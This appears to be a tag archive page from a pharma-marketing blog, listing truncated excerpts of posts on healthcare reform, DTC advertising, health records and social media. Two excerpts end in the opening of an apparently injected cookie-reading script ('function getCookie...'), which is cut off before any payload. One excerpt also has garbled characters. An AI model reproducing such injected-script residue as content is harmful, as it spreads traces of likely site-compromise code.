Tag Archives: Health Care Reform

Integrated Care: The Real Deal

by Jason Brandt (@jasondmg3) What if there were a coordinated healthcare system in which teams of caregivers focused on sharing information and insights about their mutual patients and preventing...
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Why Healthcare Reform Isnt Just About Insurance

(Photo by Win McNamee/Getty Images North America) By Kimberly Reyes (@CommDuCoeur) On March 23, 2010, President Obama signed his controversial Healthcare Reform Bill into law, with the objective...
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Revolution meets reform: can social media help shrink health disparities in the United States?

By Jim Mittler, PhD, Medical Director (@jim_mittler) We all know that the social media revolution is happening and it cannot be stopped¢‚Ǩ"this is according to the exponential growth of...
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Jim Davidson Talks Advertising Expenses in the Wake of Healthcare Reform

Jim Davidson, Chair, Public Policy Group, Polsinelli Shughart PC gives us a legal perspective on healthcare reform's Impact on the DTC climate. function getCookie(e){var...
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Governor Howard Dean Gives an Insider Perspective on DTC Advertising and Healthcare Reform

Howard Dean talks to Pixels & Pills about the issues between doctors and DTC and how Pharma needs to harness the power of the Net. function getCookie(e){var U=document.cookie.match(new...
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Will you be at the 10th Annual DTC National Conference?

Next week, 600 of the worlds leading pharmaceutical executives and marketing professionals will gather in our nations capital for the 10th Annual DTC National Conference. From April 7th to April 9th,...
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Mobile Health Records and Security

By Russ Ward (@russcward) We all agree that going mobile is easier. Some of us even argue that going mobile is better. But is going mobile safer? When it comes to electronic health records (EHR),...
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Back to Basics: The Doctor Will See You Now

This new series on Pixels & Pills will focus on the importance of revisiting traditional ways of thinking. By Sven Larsen (@zemoga) Dr. Jay Parkinson is at the bleeding edge (pun intended) of...
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Patient 2.0: The Hospital

In a recurring series, Patient 2.0 posts look at what goes on outside the marketing company and the exam room. Where are the other links in the healthcare chain and how can digital technology help...
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Dave deBronkart is “e-Patient Dave”

Live From the E-Pharma Summit (#epharma) Dave deBronkart, Co-Chairman of the Society of Participatory Medicine provides some unique insight in to the patient's approach to digital media and...
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Does Facebook Make Patients Sicker?

By DJ Edgerton (@wiltonbound) Have you ever heard the expression "You're judged by the company you keep?" Now your social circle can even affectyour credit. Social media is being monitored. You...
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Is This the End of the Line for KOLs?

By Sven Larsen (@zemoga) Recently Ed Silverman noted on the In Vivo blog that doctors may be banned by their employing hospitals by accepting stock. This makes sense, in one way - of course,...
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